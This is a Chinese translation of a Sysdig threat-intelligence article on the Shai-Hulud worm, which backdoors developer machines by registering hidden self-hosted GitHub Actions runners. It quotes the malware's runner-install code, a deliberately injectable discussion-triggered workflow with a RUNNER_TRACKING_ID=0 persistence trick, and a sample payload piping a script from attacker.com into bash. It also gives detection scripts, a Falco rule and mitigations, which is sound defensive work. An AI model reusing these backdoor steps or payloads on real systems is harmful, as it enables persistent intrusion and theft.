文章总结: 本文剖析Shai-Hulud蠕虫利用自托管GitHubActionsrunner构建后门的机制。攻击者通过注册恶意runner并利用命令注入漏洞执行任意代码,绕过网络检测。文章提供了检测恶意runner的脚本与规则,建议禁用公共仓库的自托管runner、采用临时环境并限制网络访问,以有效缓解此类攻击风险。 综合评分: 100 文章分类: 恶意软件,供应链安全,云安全,威胁情报,漏洞分析
从Shai-Hulud蠕虫看自托管GitHub Actions runner的后门风险
Dubito
云原生安全指北
2026年1月15日 08:35 江苏
注:本文翻译自 Sysdig 的文章《How threat actors are using self-hosted GitHub Actions runners as backdoors》[1],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
一、引言
现代软件开发依赖自动化来实现速度和规模,而 GitHub Actions 是驱动跨 CI/CD 流水线自动化的主要引擎之一。利用 GitHub Actions,代码可以被编译、测试得以运行、应用程序能够部署——这一切都响应代码推送或PR请求而自动发生,无需人工干预。
在这些工作流的幕后,执行任务的是 runner。它们是由 GitHub 托管的执行机器,也可以由用户自行提供。虽然 GitHub 提供托管的基础设施,其官方 runner 生命周期短且受严格控制,但 自托管(self-hosted)runner 允许组织在其内部服务器或云实例上运行工作流。这带来了更大的控制权和对私有资源的访问能力,但代价是用隔离性换取了灵活性和深度集成。然而,速度往往伴随着安全挑战。
自托管的 GitHub Actions runner 可以被武器化,转变为通过完全可信的信道通信的持久后门。因为所有流量都流向 github.com,传统的网络防御对此类威胁基本是盲区。2025年11月24日,Shai-Hulud 蠕虫大规模地演示了这项技术,它在受感染的机器上安装恶意 runner,并利用故意留有漏洞的工作流作为命令与控制通道。
以 Shai-Hulud 攻击活动[2] 为案例,我们来探讨攻击者如何滥用 GitHub 的自托管 runner 基础设施来建立持久的远程访问。我们也将分析攻击机制、检测策略,并为安全团队提供监控建议。
二、为何自托管 runner 是诱人的目标
自托管 runner 允许组织托管自己的机器来执行 GitHub Actions 工作流。与 GitHub 托管的 runner 不同,自托管 runner 让团队能够完全控制 CI/CD 操作期间使用的操作系统、安装的软件和硬件规格。这种灵活性,加上目前 GitHub Actions 对自托管 runner 免费使用的事实,共同推动了其广泛采用。(尽管2026年的定价变更已经宣布[3],但根据社区反馈,自托管 runner 的费用已被推迟征收。)
从攻击者的视角看,自托管 runner 之所以有价值,有几个原因:它们通常能访问内部网络,可能缓存了凭据或 secret,并且设计上就会执行任意代码。其注册过程也特意设计为低门槛。在选择了目标操作系统和架构后,GitHub 会提供一系列命令来下载和配置 runner 应用程序:
# 创建文件夹
mkdir actions-runner && cd actions-runner
# 下载最新的 runner 包
curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz
# 解压安装程序
tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz
配置是最关键的一步。通过使用一个唯一的注册令牌运行 ./config.sh,机器便与 GitHub 建立了长期连接:
# 创建 runner 并开始配置
./config.sh --url https://github.com/<owner>/<repository> --token <TOKEN>
# 开始监听任务
./run.sh
注册令牌可以从仓库的 Settings 菜单手动获取,也可以通过 GitHub API 以编程方式获取:
- • 对于仓库级别的 runner:
/repos/{owner}/{repo}/actions/runners/registration-token - • 对于组织级别的 runner:
/orgs/{org}/actions/runners/registration-token
生成这些令牌需要管理员级别的权限。
三、案例分析:Shai-Hulud 后门
Shai-Hulud 蠕虫[4] 为这种攻击模式在现实中提供了一个清晰的例子。它利用自托管的 GitHub Actions runner 作为后门。在通过植入木马的 NPM 包攻陷开发者机器后,Shai-Hulud 通过安装恶意的 GitHub runner 来建立持久性访问。该攻击分为四个不同的阶段。
3.1 第一阶段:创建仓库
当蠕虫发现一个拥有足够权限的有效 GitHub 令牌时,它会立即创建一个新的公共仓库。仓库名称是一个随机的 18 位字符串,但其描述包含一个固定标记:Sha1-Hulud: The Second Coming. 关键的是,攻击者启用了讨论功能,这随后将成为命令与控制通道:
async ["createRepo"](repo_name, repo_description = "Sha1-Hulud: The Second Coming.", repo_is_private = false) {
if (!repo_name) {
return null;
}
try {
let _0xc8701c = (await this.octokit.rest.repos.createForAuthenticatedUser({
'name': repo_name,
'description': repo_description,
'private': repo_is_private,
'auto_init': false,
'has_issues': false,
'has_discussions': true,
'has_projects': false,
'has_wiki': false
})).data;
...
这段代码创建了一个极简仓库,只启用了讨论功能。其他所有功能都被禁用,以降低可见性和减少干扰。
3.2 第二阶段:获取 runner 注册令牌
仓库创建完成后,恶意软件便通过 GitHub API 请求一个 runner 注册令牌:
this.gitRepo = repo_owner + '/' + repo_name;
await new Promise(_0x29dfa6 => setTimeout(_0x29dfa6, 0xbb8));
if (await this.checkWorkflowScope()) {
try {
let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
'owner': repo_owner,
'repo': repo_name
});
if (_0x449178.status == 0xc9) {
let _0x1489ec = _0x449178.data.token;
...
此令牌允许任何机器将自己注册为攻击者控制仓库的工作流 runner,从而有效地在受害机器与 GitHub 基础设施之间,建立了一条直接的、由受害者机器主动发起的链接。
3.3 第三阶段:安装并执行 runner
恶意软件下载官方的 GitHub Actions runner 二进制文件,将其安装在一个隐藏目录(~/.dev-env)中,并使用一个独特的名称 SHA1HULUD 进行配置:
if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}
其中两个实现细节尤为重要:
- •
RUNNER_ALLOW_RUNASROOT=1:默认情况下,作为额外的安全层,GitHub runner 以无特权的非 root 进程执行。此处攻击者明确覆盖了此项保护,确保通过后门执行的任何命令都将拥有 root 权限。 - •
nohup ... &:通过使用nohup并将进程置于后台,即使初始的恶意脚本终止,runner 也会持续运行。
3.4 第四阶段:植入含漏洞的工作流
最后一个组成部分是一个工作流文件,它被上传到仓库的 .github/workflows/discussion.yaml 路径下。该工作流文件被故意设计成容易受到命令注入攻击:
name: Discussion Create
on:
discussion:
jobs:
process:
env:
RUNNER_TRACKING_ID: 0
runs-on: self-hosted
steps:
- name: Handle Discussion
run: echo ${{ github.event.discussion.body }}
两个特性使得这个工作流尤其危险:
通过表达式插值实现命令注入:该工作流直接在 run 命令中使用 ${{ github.event.discussion.body }} 作为参数。因为 GitHub Actions 会插值这个表达式,在执行前将讨论正文的文本原样替换到 shell 脚本中,攻击者可以轻易地“突破”预设的命令。通过在讨论正文中包含反引号、分号或管道符等 shell 元字符,攻击者就能脱离 echo 命令的限制,直接在宿主机上执行任意代码。
通过 RUNNER_TRACKING_ID 实现进程持久化:当一个 GitHub Action 任务完成后,runner 通常会终止作业期间启动的所有孤儿进程。通过将 RUNNER_TRACKING_ID 设置为 0(或除作业实际 ID 外的任何值),攻击者绕过了这个清理机制,使得派生的进程在工作流结束后仍然保持运行。这项技术最早由 Praetorian 在 2022 年公开披露[5],展示了自托管 runner 如何能被转变为持久的后门。
3.5 通过后门执行命令
基础设施就位后,攻击者可以通过向仓库的讨论区发帖,在受害者的机器上执行任意命令。例如,发布以下内容作为讨论正文:
"" && curl -s http://attacker.com/shell.sh | bash
将导致 runner 执行:
echo "" && curl -s http://attacker.com/shell.sh | bash
空白的 echo 命令成功完成,然后 shell 会继续下载并执行攻击者的载荷。在下面的截图中,我们展示了一个更简单的场景:执行 echo 命令,接着执行 whoami 命令,以及一个进程列表命令。
这就在受害者的系统上创建了一个功能完备的后门。只要攻击者保持对这个公共仓库的访问权限,他们就可以通过发布一条讨论评论,轻易地在被攻陷的机器上执行代码。由于所有流量都流向 github.com,这个后门可以混入正常的开发活动中。
四、更广泛的风险模式
4.1 其他存在漏洞的触发事件
Shai-Hulud 使用的讨论事件并非此类攻击的唯一向量。核心风险在于工作流如何在持久的 runner 上处理不受信任的外部输入。任何允许不受信任用户在自托管 runner 上触发工作流的事件,都可能被武器化用于后门注入:
- •
pull_request_target:此事件在基础仓库的上下文中运行,可能授予对 secrets 和有特权的GITHUB_TOKEN的访问权限。如果使用此触发器的工作流从一个恶意的PR请求中检出(check out)代码并在自托管 runner 上执行,攻击者将立即获得高权限访问。 - •
issue_comment:任何人都可以评论公共仓库,这使得此事件天然成为远程命令注入的向量。未对评论文本进行适当清理的工作流易受攻击。 - • 被忽视的活动类型:正如我们先前关于不安全的 GitHub Actions 的研究[6]中所记录的,未能为工作流事件指定细粒度的
types会留下危险的缺口。攻击者可以通过一些不太引人注意的操作来触发存在漏洞的工作流,例如给议题贴标签或将讨论标记为未解答,从而降低被检测到的几率。
4.2 安装持久化服务
在观测到的 Shai-Hulud 攻击活动中,其后门相对脆弱,因为它与 runner 进程的活跃生命周期绑定。如果宿主机重启,runner 进程及任何由它派生的进程都会终止。
然而,GitHub 提供了原生工具将 runner 配置为系统服务[7]。通过执行 ./svc.sh 脚本,已获得初始代码执行权限的攻击者可以确保:
- 1. 后门在重启后幸存:runner 应用程序作为系统启动序列的一部分自动启动。
- 2. 检测最小化:受侵害的 runner 作为标准的系统服务运行(通过
systemd),而非表现为可疑的交互式进程,从而将攻击者的存在隐藏在合法的基础设施中。
通过从临时的工作流执行转向持久的系统服务,攻击者有效地将一次性漏洞利用转变为永久后门。
五、如何查找恶意 runner
组织应积极监控其 GitHub runner 清单,以发现未经授权的注册。以下脚本可获取为仓库或组织配置的所有 runner:
#!/bin/bash
#
# Script to list all GitHub Actions runners with their name and status.
#
# Usage:
# export GITHUB_TOKEN=your_token_here
# ./list_runners.sh --owner OWNER [--repo REPO]
set -e
OWNER=""
REPO=""
while [[ $# -gt 0 ]]; do
case $1 in
--owner)
OWNER="$2"
shift 2
;;
--repo)
REPO="$2"
shift 2
;;
--token)
GITHUB_TOKEN="$2"
shift 2
;;
-h|--help)
echo "Usage: $0 --owner OWNER [--repo REPO] [--token TOKEN]"
exit 0
;;
*)
echo "Unknown option: $1"
exit 1
;;
esac
done
if [ -z "$OWNER" ]; then
echo "Error: --owner is required" >&2
exit 1
fi
if [ -z "$GITHUB_TOKEN" ]; then
echo "Error: GitHub token is required." >&2
exit 1
fi
if [ -n "$REPO" ]; then
API_URL="https://api.github.com/repos/${OWNER}/${REPO}/actions/runners"
SCOPE="${OWNER}/${REPO}"
else
API_URL="https://api.github.com/orgs/${OWNER}/actions/runners"
SCOPE="organization: ${OWNER}"
fi
RESPONSE=$(curl -s -H "Authorization: token ${GITHUB_TOKEN}" \
-H "Accept: application/vnd.github.v3+json" \
"${API_URL}?per_page=100")
if echo "$RESPONSE" | jq -e '.message' > /dev/null 2>&1; then
ERROR_MSG=$(echo "$RESPONSE" | jq -r '.message')
echo "Error: $ERROR_MSG" >&2
exit 1
fi
RUNNER_COUNT=$(echo "$RESPONSE" | jq '.runners | length')
if [ "$RUNNER_COUNT" -eq 0 ]; then
echo "No runners found for $SCOPE"
exit 0
fi
printf "%-10s %-30s %-15s %-10s\n" "ID" "Name" "Status" "Busy"
printf "%-10s %-30s %-15s %-10s\n" "----------" "------------------------------" "---------------" "----------"
echo "$RESPONSE" | jq -r '.runners[] |
[.id, (.name | if length > 30 then .[0:27] + "..." else . end), .status, (if .busy then "Yes" else "No" end)] | @tsv' | \
while IFS=$'\t' read -r id name status busy; do
printf "%-10s %-30s %-15s %-10s\n" "$id" "$name" "$status" "$busy"
done
echo ""
echo "Total runners: $RUNNER_COUNT"
此外,组织应查询 GitHub 审计日志事件,特别是 repo.register_self_hosted_runner 事件,以识别过去可能发生的任何未经授权的 runner 注册。Runner 信息也可以在仓库的 Settings 面板中,于 Actions 部分的 Runners 页面下直接查看。
执行上述脚本可能输出类似以下的结果:
不过,关于已注册 runner 的信息也可以直接从您的仓库中获取。为此,请访问您的 Settings 面板,然后在 Action 部分打开 Runners 页面。
六、检测恶意 runner
RUNNER_TRACKING_ID=0 环境变量是恶意意图的可靠指标,因为除了逃避 runner 的进程清理机制外,它没有任何合法的用途。
Sysdig 提供了 Persistence Across Github Runner Executions Detected(检测到跨Github Runner执行的持久化操作) 规则,作为 Sysdig Runtime Notable Events(Sysdig 运行时显著事件) 策略的一部分。当进程试图在 GitHub Actions 作业执行的正常生命周期之后继续存留时,此规则会触发。
Falco 用户也可以使用类似的规则:
- macro: spawned_process
condition: (evt.type in (execve, execveat) and evt.dir=< and evt.arg.res=0)
- rule: Persistence Across Github Runner Executions Detected
desc: This rule detects the usage of the RUNNER_TRACKING_ID environment variable set to 0 or empty string. When this variable is set, the cleanup job does not terminate the associated process. Threat actors can exploit this to maintain persistence across workflow executions.
condition: spawned_process and (proc.env contains "RUNNER_TRACKING_ID=0" or proc.env contains "RUNNER_TRACKING_ID= ") and not proc.aenv[1] contains "RUNNER_TRACKING_ID="
output: Persistence attempt via GitHub Runner detected. Process %proc.name (PID: %proc.pid) spawned in container %container.name with RUNNER_TRACKING_ID=%proc.env["RUNNER_TRACKING_ID"]. (user=%user.name image=%container.image.repository cmdline=%proc.cmdline)
组织还应监控:
- • 从隐藏目录(例如
~/.dev-env)执行的 runner 进程。 - • 使用可疑名称(例如
SHA1HULUD)配置的 runner。 - • runner 进程向未知仓库发出的意外出站连接。
- • 工作流文件中包含在
run命令中未经清理的表达式插值。
七、缓解建议
GitHub 官方的安全加固文档[8]明确指出了风险:“GitHub 的自托管 runner 无法保证在临时的、干净的虚拟机中运行,并可能被工作流中不受信任的代码持久化地攻陷。”
基于 GitHub 的指导,组织应实施以下控制措施:
- • 切勿在公共仓库中使用自托管 runner。 任何能够fork仓库并开启PR请求的人,都有可能在你的 runner 上执行代码。
- • 使用临时的 runner。 每次作业执行后销毁 runner 环境,以防止持久化。GitHub 指出这种方法“可能不如预期有效,因为无法保证自托管 runner 只运行一个作业”,但这仍然能显著提高攻击门槛。
- • 将 runner 组织到具有仓库限制的组中。 当 runner 在组织或企业级别定义时,GitHub 可以将来自多个仓库的工作流调度到同一个 runner 上。使用 runner 组[9]来限制哪些仓库可以访问哪些 runner。
- • 最小化 runner 机器上的敏感数据。 确保 secrets、SSH 密钥和 API 令牌不存储在 runner 基础设施上。假设任何能够调用工作流的用户都具有对 runner 环境的访问权限。
- • 限制 runner 的网络访问。 限制 runner 可以访问的内部服务。避免让 runner 访问云元数据服务、生产数据库或其他敏感基础设施。
八、结论
自托管 runner 代表了一个未被充分重视的攻击面。从其设计上看,它们会执行来自工作流的任意代码,与 GitHub 保持持久连接,并且通常在内部基础设施上以高权限运行。Shai-Hulud 攻击活动展示了攻击者如何能够快速、大规模地利用这些特性来建立后门,这些后门可以完美地融入合法的 CI/CD 流量中。
使用自托管 runner 的组织应定期审计其 runner 清单,将 runner 的使用限制在受信任的仓库,并对诸如 RUNNER_TRACKING_ID 篡改等持久化技术实施运行时检测。鉴于被攻陷的 runner 可以让攻击者获得对构建基础设施的特权访问,甚至可能触及生产环境的 secrets 和部署流水线,将 runner 安全视为优先事项至关重要。
引用链接
[1] 《How threat actors are using self-hosted GitHub Actions runners as backdoors》: https://www.sysdig.com/blog/how-threat-actors-are-using-self-hosted-github-actions-runners-as-backdoors
[2] Shai-Hulud 攻击活动: https://www.sysdig.com/blog/return-of-the-shai-hulud-worm-affects-over-25-000-github-repositories
[3] 2026年的定价变更已经宣布: https://resources.github.com/actions/2026-pricing-changes-for-github-actions/
[4] Shai-Hulud 蠕虫: https://www.sysdig.com/blog/shai-hulud-the-novel-self-replicating-worm-infecting-hundreds-of-npm-packages
[5] Praetorian 在 2022 年公开披露: https://www.praetorian.com/blog/self-hosted-github-runners-are-backdoors/
[6] 先前关于不安全的 GitHub Actions 的研究: https://www.sysdig.com/blog/insecure-github-actions-found-in-mitre-splunk-and-other-open-source-repositories
[7] 原生工具将 runner 配置为系统服务: https://docs.github.com/en/actions/how-tos/manage-runners/self-hosted-runners/configure-the-application
[8] 安全加固文档: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
[9] runner 组: https://docs.github.com/en/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups
交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:云原生安全指北 Dubito《从Shai-Hulud蠕虫看自托管GitHub Actions runner的后门风险》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论